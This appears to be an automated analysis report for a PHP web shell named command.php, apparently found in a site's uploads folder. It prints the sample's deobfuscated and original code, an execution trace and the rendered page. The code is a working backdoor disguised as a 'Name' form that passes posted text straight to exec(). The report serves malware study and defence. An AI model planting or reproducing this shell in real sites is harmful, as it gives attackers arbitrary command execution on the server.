PHP Malware Analysis

command.php

md5: 425f36ce1e8703871339241119cfb2d2

Jump to:

Screenshot


Attributes

Execution

Input


Deobfuscated PHP code

<html>
<body>

<form method="post" action="<?php 
echo $_SERVER['PHP_SELF'];
?>">
  Name: <input type="text" name="fname">
  <input type="submit">
</form>

<?php 
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // collect value of input field
    $command = $_POST['fname'];
    if (empty($command)) {
        echo "Name is empty";
    } else {
        $output = null;
        $retval = null;
        exec($command, $output, $retval);
        print_r($output);
    }
}
?>

</body>
</html>

Execution traces

data/traces/425f36ce1e8703871339241119cfb2d2_trace-1676242867.6156.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:01:33.513437]
1	0	1	0.000187	393528
1	3	0	0.000256	395944	{main}	1		/var/www/html/uploads/command.php	0	0
1	3	1	0.000275	395944
			0.000303	314240
TRACE END   [2023-02-12 21:01:33.513588]


Generated HTML code

<html><head></head><body>

<form method="post" action="/command.php">
  Name: <input type="text" name="fname">
  <input type="submit">
</form>



</body></html>

Original PHP code

<html>
<body>

<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
  Name: <input type="text" name="fname">
  <input type="submit">
</form>

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
  // collect value of input field
  $command = $_POST['fname'];
  if (empty($command)) {
    echo "Name is empty";
  } else {
    $output=null;
    $retval=null;
    exec($command, $output, $retval);
    print_r($output);
  }
}
?>

</body>
</html>